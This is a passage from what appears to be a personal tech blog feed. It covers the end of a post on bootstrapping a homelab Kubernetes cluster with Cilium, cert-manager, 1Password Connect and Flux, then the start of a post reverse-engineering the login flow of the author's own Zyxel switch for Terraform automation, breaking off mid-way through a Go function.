<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubeadm init --control-plane-endpoint<span style="color:#99d1db;font-weight:bold">={{</span> control_plane_endpoint <span style="color:#99d1db;font-weight:bold">}}</span> --apiserver-bind-port<span style="color:#99d1db;font-weight:bold">={{</span> apiserver_bind_port <span style="color:#99d1db;font-weight:bold">}}</span> --cri-socket<span style="color:#99d1db;font-weight:bold">={{</span> cri_socket <span style="color:#99d1db;font-weight:bold">}}</span> --pod-network-cidr<span style="color:#99d1db;font-weight:bold">={{</span> pod_network_cidr <span style="color:#99d1db;font-weight:bold">}}</span> --ignore-preflight-errors<span style="color:#99d1db;font-weight:bold">=</span>FileContent--proc-sys-net-bridge-bridge-nf-call-iptables --skip-phases<span style="color:#99d1db;font-weight:bold">=</span>addon/kube-proxy --upload-certs
</span></span></code></pre></div><p>The relevant Ansible variable is <code>control_plane_endpoint</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">control_plane_endpoint</span>: api.k8s.cicci8ino.it
</span></span></code></pre></div>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Iptables</b>
        </div>
        <div class="admonition-content">As you can see, I&rsquo;m ignoring the <code>iptables</code> warning because I won&rsquo;t be using <code>iptables</code> rules to reach cluster services, as <code>kube-proxy</code> is being replaced by the <a href="https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/">Cilium kube-proxy replacement</a>.</div>
    </aside>
<p>Behind that, an HAProxy VIP is going to load balance to the real control plane servers behind the scenes (with a dumb TCP health check that I should replace with a proper https <a href="https://kubernetes.io/docs/reference/using-api/health-checks/#api-endpoints-for-health">health check endpoint</a>). This will make things easier when I decide (probably never) to add new master nodes.

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>VIP</b>
        </div>
        <div class="admonition-content">If you don&rsquo;t want to rely on another appliance/service for VIP and API /HA, you can take a look at <a href="https://kube-vip.io">kube-vip</a> or <a href="https://www.keepalived.org">keepalived</a></div>
    </aside></p>
<p>The cluster is now ready. Now things start to get interesting.</p>
<h1 id="cluster-setup">Cluster Setup</h1>
<p>Let&rsquo;s set up Odyssey (have you ever seen Apollo 13?), my small Kubernetes cluster.</p>
<h2 id="cni">CNI</h2>
<p>A Kubernetes cluster needs a <a href="https://www.cni.dev">Container Network Interface</a>, aka CNI. I will use <a href="https://cilium.io">Cilium</a>. This is installed by the same Ansible playground, simply applying the official <code>helm</code> chart.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>- <span style="color:#ca9ee6">name</span>: Add cilium helm
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">kubernetes.core.helm_repository</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: cilium
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">repo_url</span>: https://helm.cilium.io/
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">force_update</span>: <span style="color:#ef9f76">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>- <span style="color:#ca9ee6">name</span>: Deploy cilium helm chart
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">kubernetes.core.helm</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: cilium
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">chart_ref</span>: cilium/cilium
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">release_namespace</span>: <span style="color:#a6d189">&#34;{{ cilium_namespace }}&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">chart_version</span>: <span style="color:#a6d189">&#34;{{ cilium_version }}&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">kubeconfig</span>: <span style="color:#a6d189">&#34;{{ kubeconfig_dest }}&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">values</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">kubeProxyReplacement</span>: <span style="color:#ef9f76">True</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">k8sServiceHost</span>: <span style="color:#a6d189">&#34;{{ control_plane_endpoint }}&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">k8sServicePort</span>: <span style="color:#a6d189">&#34;{{ apiserver_bind_port }}&#34;</span>
</span></span></code></pre></div><h2 id="bootstrap">Bootstrap</h2>
<p>Cluster is now ready to get some real love. So a nice <a href="https://taskfile.dev"><code>Taskfile</code></a> will make sure that:</p>
<ul>
<li><a href="https://cert-manager.io"><code>cert-manager</code></a> namespace is created. This is going to be used to create certificates from the Kubernetes sub-CA I&rsquo;ve already created on my <code>opnsense</code> installation</li>
</ul>
<p><img src="/images/wedding-website/subca.png" alt="opnsense kubernetes dedicated sub-CA">
That sub-CA was generated from my opnsense root CA.</p>
<ul>
<li>The sub-CA certificate and the private key are added in <code>cert-manager</code> namespace as secret, fetched from my 1Password <code>homelab</code> safe with <code>op</code> CLI</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>op run --env-file<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#a6d189">&#34;./.op.env&#34;</span> -- &lt;command&gt;
</span></span></code></pre></div><ul>
<li><a href="https://developer.1password.com/docs/connect/"><code>1Password connect</code></a>, the needed 1Password op-credentials and <a href="https://external-secrets.io/latest/"><code>external-secrets-operator</code></a> are installed. 1Password connect is going to be exposed via the <code>nginx</code> Ingress Controller when installed in the next steps.</li>
</ul>
<blockquote>
<p>I&rsquo;ve decided to rely on <code>external-secrets-operator</code> (aka <code>ESO</code>) even though 1Password already has something similar (<a href="https://developer.1password.com/docs/k8s/k8s-operator/">1Password K8s operator</a>) because it was much easier for it to trust a custom certificate generated by <code>cert-manager</code> signed by the cluster sub-CA.</p>
</blockquote>
<p>Here you can see an extract of the tasks.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>  <span style="color:#ca9ee6">deploy-1password-connect-secret</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">desc</span>: <span style="color:#a6d189">&#34;Create 1password namespace and deploy the connect secret&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">cmds</span>:
</span></span><span style="display:flex;"><span>      - kubectl create ns 1password || true
</span></span><span style="display:flex;"><span>      - kubectl delete secret op-credentials --namespace 1password || true
</span></span><span style="display:flex;"><span>      - |<span style="color:#737994">
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        kubectl create secret generic op-credentials \
</span></span></span><span style="display:flex;"><span><span style="color:#737994">          --namespace 1password \
</span></span></span><span style="display:flex;"><span><span style="color:#737994">          --from-literal=1password-credentials.json={{.ENCODED_OP_CREDENTIALS}} \
</span></span></span><span style="display:flex;"><span><span style="color:#737994">          --type=Opaque</span>
</span></span></code></pre></div><p>Where some environment variables are populated by the OP CLI.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#99d1db">export</span> <span style="color:#f2d5cf">OP_CREDENTIALS</span><span style="color:#99d1db;font-weight:bold">=</span>op://Homelab/1p-homelab-credentials/1password-credentials.json
</span></span></code></pre></div><p><a href="https://developer.1password.com/docs/cli/secrets-environment-variables/">HERE</a> some additional details.</p>
<h2 id="flux">Flux</h2>
<p>Then:</p>
<ul>
<li><a href="https://fluxcd.control-plane.io/operator/">Flux Operator</a> is installed from the official helm chart</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>  <span style="color:#ca9ee6">flux-operator-bootstrap</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">desc</span>: <span style="color:#a6d189">&#34;Bootstrap Flux Operator&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">cmds</span>:
</span></span><span style="display:flex;"><span>      - |<span style="color:#737994">
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        helm install flux-operator oci://ghcr.io/controlplaneio-fluxcd/charts/flux-operator \
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        --namespace flux-system \
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        --create-namespace</span>
</span></span></code></pre></div><ul>
<li>A <code>flux secret</code> is created to the git repo containing all the manifests that flux is going to reconcile</li>
<li>a <a href="https://fluxcd.control-plane.io/operator/fluxinstance/"><code>FluxInstance</code></a> is created by the Flux Operator using a <code>kustomize</code> overlay</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>  <span style="color:#ca9ee6">deploy-flux-instance</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">desc</span>: <span style="color:#a6d189">&#34;Build flux instance kustomize overlay and deploy&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">cmds</span>: 
</span></span><span style="display:flex;"><span>      - kubectl apply --kustomize ./kustomize/overlays/{{.CLI_ARGS}}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">resources</span>:
</span></span><span style="display:flex;"><span>  - ../../base
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">patches</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#ca9ee6">patch</span>: |-<span style="color:#737994">
</span></span></span><span style="display:flex;"><span><span style="color:#737994">      - op: add
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        path: /spec/sync/path
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        value: &#34;clusters/odyssey&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#737994">      - op: add
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        path: /spec/sharding
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        value:
</span></span></span><span style="display:flex;"><span><span style="color:#737994">          shards:
</span></span></span><span style="display:flex;"><span><span style="color:#737994">            - mgmt
</span></span></span><span style="display:flex;"><span><span style="color:#737994">            - infra
</span></span></span><span style="display:flex;"><span><span style="color:#737994">      - op: add
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        path: /spec/cluster/tenantDefaultServiceAccount
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        value: flux</span>
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">target</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">kind</span>: FluxInstance
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">name</span>: flux
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span></code></pre></div><p>The <code>kustomize</code> patch will mainly enable <a href="https://fluxcd.io/flux/installation/configuration/sharding/">sharding</a> (not that I really needed it, considering how small my cluster is, but I wanted to have a quick look at it).</p>
<h1 id="recap">Recap</h1>
<p>At this stage, Odyssey is ready to reconcile stuff. It now has:</p>
<ul>
<li><code>1password connect</code> server, that can be reached by any other future Kubernetes cluster or any other service that needs credentials from my 1Password dedicated safe.</li>
<li><code>cert-manager</code>, that will manage ingress certificate generation from now on.</li>
</ul>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Chicken-and-egg</b>
        </div>
        <div class="admonition-content">There&rsquo;s a nice chicken-and-egg scenario here, as Flux is installed after several objects have been created &ldquo;manually&rdquo;. So how can Flux reconcile these objects? I would suggest you have a look at the wonderful blog post from my colleague Fabian <a href="https://blog.kammel.dev/post/k8s_home_lab_2025_01/">HERE</a>.</div>
    </aside>
<p>In the next episode, we are going to take a look at how I&rsquo;ve structured my GitOps repository and how I&rsquo;m deploying the website in the cluster.</p>
]]></content></item><item><title>Reversing the login mechanism of a cheap Zyxel managed switch</title><link>http://blog.martino.wtf/posts/zyxel-pt1/</link><pubDate>Wed, 06 Nov 2024 20:07:15 +0100</pubDate><guid>http://blog.martino.wtf/posts/zyxel-pt1/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[
    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>What am I doing?</b>
        </div>
        <div class="admonition-content">I&rsquo;m not a developer nor a web app expert. Please, forgive me for my train of thought</div>
    </aside>
<p>Some months ago, I bought a nice Zyxel XGS1210 managed switch for 130-ish euros on Amazon Marketplace. 2x10G SFPs, 2x2.5G RJ45, 8x1G RJ45. Not too bad.</p>
<p>I always wanted to manage it via Terraform/Tofu, as I&rsquo;m doing with my opnsense install. Unfortunately, there is no Terraform provider already available and no public documentation/API, so I thought</p>
<blockquote>
<p>It would make sense to lose hours in reverse engineering the web page to create a new VLAN every once in a while, right?</p>
</blockquote>
<p>Nope, it probably didn&rsquo;t. Follow me in this rabbit hole.</p>
<h1 id="login-mechanism-for-http">Login mechanism for http</h1>
<p>First, let&rsquo;s examine how the login mechanism works. If you go to the switch IP, you are greeted by a beautiful login page straight from the 90s.</p>
<p><img src="/images/xgs-api/zyxel.png" alt="Login page"></p>
<p>There&rsquo;s an interesting get request executed here:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>cgi/get.cgi?cmd=home_loginInfo&amp;dummy=1730661645538&amp;bj4=46f21041e4c399c1cd141211b4b4f547
</span></span></code></pre></div><p>That gives back this JSON data</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;data&#34;</span>:	{
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">&#34;sys_first_login&#34;</span>:	<span style="color:#a6d189">&#34;0&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">&#34;model_name&#34;</span>:	<span style="color:#a6d189">&#34;XGS1210-12&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">&#34;logined&#34;</span>:	<span style="color:#a6d189">&#34;0&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">&#34;modulus&#34;</span>:	<span style="color:#a6d189">&#34;XXXXXX\n&#34;</span>
</span></span><span style="display:flex;"><span>	},
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;xsrfToken&#34;</span>:	<span style="color:#a6d189">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Let&rsquo;s first focus on the request URL. <code>cmd</code> looks like a command, <code>dummy</code> looks like a timestamp. What about <code>bj4</code>? In <code>js/fileload.js</code>, the code would look something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>url <span style="color:#99d1db;font-weight:bold">=</span> url <span style="color:#99d1db;font-weight:bold">+</span> <span style="color:#a6d189">&#39;&amp;bj4=&#39;</span> <span style="color:#99d1db;font-weight:bold">+</span> md5(url.split(<span style="color:#a6d189">&#39;?&#39;</span>)[<span style="color:#ef9f76">1</span>]);
</span></span></code></pre></div><p>So it looks like it&rsquo;s simply computing the <code>md5</code> of part of the requested URL.
Let&rsquo;s double check it</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#99d1db">echo</span> -n <span style="color:#a6d189">&#39;cmd=home_loginInfo&amp;dummy=1730661645538&#39;</span> | md5sum
</span></span><span style="display:flex;"><span>46f21041e4c399c1cd141211b4b4f547
</span></span></code></pre></div><p>Yep.</p>
<p>Let&rsquo;s write a simple <code>go</code> function to automatically compute the hash on each request.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> <span style="color:#8caaee">GetURL</span>(baseURL <span style="color:#e78284">string</span>, basePath <span style="color:#e78284">string</span>, action <span style="color:#e78284">string</span>) <span style="color:#e78284">string</span> {
</span></span><span style="display:flex;"><span>	params <span style="color:#99d1db;font-weight:bold">:=</span> url.Values{}
</span></span><span style="display:flex;"><span>	params.<span style="color:#8caaee">Add</span>(<span style="color:#a6d189">&#34;cmd&#34;</span>, action)
</span></span><span style="display:flex;"><span>	params.<span style="color:#8caaee">Add</span>(<span style="color:#a6d189">&#34;dummy&#34;</span>, fmt.<span style="color:#8caaee">Sprint</span>(time.<span style="color:#8caaee">Now</span>().<span style="color:#8caaee">UnixMilli</span>()))
</span></span><span style="display:flex;"><span>	url <span style="color:#99d1db;font-weight:bold">:=</span> fmt.<span style="color:#8caaee">Sprintf</span>(<span style="color:#a6d189">&#34;%s%s?%s&#34;</span>, baseURL, basePath, params.<span style="color:#8caaee">Encode</span>())
</span></span><span style="display:flex;"><span>	url = url <span style="color:#99d1db;font-weight:bold">+</span> <span style="color:#a6d189">&#34;?bj4=&#34;</span> <span style="color:#99d1db;font-weight:bold">+</span> <span style="color:#8caaee">ComputeMD5</span>(url)
</span></span><span style="display:flex;"><span>	log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Msg</span>(url)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> url
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Where <code>ComputeMD5(completePath string)</code></p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> <span style="color:#8caaee">ComputeMD5</span>(completePath <span style="color:#e78284">string</span>) <span style="color:#e78284">string</span> {
</span></span><span style="display:flex;"><span>	result <span style="color:#99d1db;font-weight:bold">:=</span> strings.<span style="color:#8caaee">Split</span>(completePath, <span style="color:#a6d189">&#34;?&#34;</span>)
</span></span><span style="display:flex;"><span>	hash <span style="color:#99d1db;font-weight:bold">:=</span> md5.<span style="color:#8caaee">Sum</span>([]<span style="color:#99d1db">byte</span>(result[<span style="color:#ef9f76">1</span>]))
</span></span><span style="display:flex;"><span>	md5String <span style="color:#99d1db;font-weight:bold">:=</span> hex.<span style="color:#8caaee">EncodeToString</span>(hash[:])
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> md5String
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Let&rsquo;s go back to the response the <code>home_loginInfo</code> gave. The only intersting data is <code>modulus</code>. As soon as the SIGN IN button is clicked, a <code>POST</code> request to is raised with
<code>/cgi/set.cgi?cmd=home_loginAuth</code> and the following JSON body.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;_ds=1&amp;password=something&amp;xsrfToken=8b8107364f45c181&amp;_de=1&#34;</span>: {}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>That&rsquo;s a strange JSON but ok. It seems we have 4 parameters stored in there somehow.</p>
<ul>
<li><code>_ds</code></li>
<li><code>password</code></li>
<li><code>xsrfToken</code></li>
<li><code>_de</code></li>
</ul>
<p>I absolutely have no idea of what <code>_ds</code> and <code>_de</code> mean, but they are always <code>1</code>, so I&rsquo;m going to hardcode them and I&rsquo;m going to send them in the exact order (yes, it was needed, wasted some time on this). On the other hand, <code>password</code> and <code>xsrfToken</code> are much more interesting.</p>
<p>Looking at <code>login.html</code>, we can see that <code>xsrfToken</code> is generated, creating a 16 chars string by picking random hex digit. Let&rsquo;s generate a random token while initializing the client. I&rsquo;m not sure why it&rsquo;s the client that is generating the CSRF token, though&hellip;</p>
<p><code>password</code> is being generated in the <code>clickLogin()</code> function in <code>login.html</code>, using functions stored in <code>crypt/rsa.js</code> file. This file seems to be coming from <a href="https://github.com/creationix/jsbn/blob/master/README.md">here</a>.</p>
<p>First, a public RSA key is created from <code>modulus</code> and the hardcoded exponent.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#a6d189">`rsa.setPublic(data.modulus, &#39;&lt;number&gt;&#39;);`</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>The password is then encrypted with that key. More specifically, the encrypt() function will pad the string first and then encrypt the data using <a href="https://en.wikipedia.org/wiki/PKCS_1">PKCS1 v1.5</a></p>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>PKCS1 v1.5</b>
        </div>
        <div class="admonition-content"><p>PKCS1 v1.5 is vulnerable to <a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">Padding Oracle Attack</a>. An attacker reading the encrypted password might be able to decrypt it if the switch gives explicit feedback when an encrypted password with invalid padding is received. Additional information can be found <a href="https://crypto.stackexchange.com/questions/12688/can-you-explain-bleichenbachers-cca-attack-on-pkcs1-v1-5">stackexchange</a>.</p>
<p>Btw, it&rsquo;s already on a clear text channel, who cares?</p>
</div>
    </aside>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#737994;font-style:italic">// PKCS#1 (type 2, random) pad input string s to n bytes, and return a bigint
</span></span></span><span style="display:flex;"><span><span style="color:#737994;font-style:italic"></span><span style="color:#e78284">function</span> pkcs1pad2(s,n)
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>The encrypted password is then encoded in base64 and then <a href="https://api.jquery.com/serialize/">serialized</a>.</p>
<p>If authorized, the <code>loginAuth</code> endpoint will reply with the following body:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;status&#34;</span>: <span style="color:#a6d189">&#34;ok&#34;</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;authId&#34;</span>: <span style="color:#a6d189">&#34;XXXX&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The browser will then use the <code>authId</code> to POST the following request to <code>/cgi/set.cgi?cmd=home_loginStatus</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">&#34;_ds=1&amp;authId=XXXX&gt;&amp;xsrfToken=0011223344556677&amp;_de=1&#34;</span>: {}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Bingo, we now have a session cookie, <code>HTTP_SESSID</code> we can use from now on for every request.</p>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b> xsrfToken</b>
        </div>
        <div class="admonition-content">It may seem that the <code>xsrfToken</code> is hardcoded somehow. In reality, the <code>xsrfToken</code> is received as part of <code>GET</code> request response. If a <code>POST</code> request is submitted without an updated <code>xsrfToken</code>, the webserver will return 200 status code but no action will be performed.</div>
    </aside>
<h1 id="code">Code</h1>
<p>Let&rsquo;s put everything together. First, let&rsquo;s start with the helper functions responsible for creating the public key and encrypting the password.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> <span style="color:#8caaee">CreatePublicKey</span>(modulusHex <span style="color:#e78284">string</span>, exponentInt <span style="color:#e78284">string</span>) (<span style="color:#99d1db;font-weight:bold">*</span>rsa.PublicKey, <span style="color:#e78284">error</span>) {
</span></span><span style="display:flex;"><span>	modulusBytes, err <span style="color:#99d1db;font-weight:bold">:=</span> hex.<span style="color:#8caaee">DecodeString</span>(modulusHex)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;failed decoding modulus&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">return</span> <span style="color:#ef9f76">nil</span>, err
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	modulus <span style="color:#99d1db;font-weight:bold">:=</span> <span style="color:#99d1db">new</span>(big.Int).<span style="color:#8caaee">SetBytes</span>(modulusBytes)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	exponent, err <span style="color:#99d1db;font-weight:bold">:=</span> strconv.<span style="color:#8caaee">ParseInt</span>(exponentInt, <span style="color:#ef9f76">16</span>, <span style="color:#ef9f76">64</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;cannot convert exponent&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
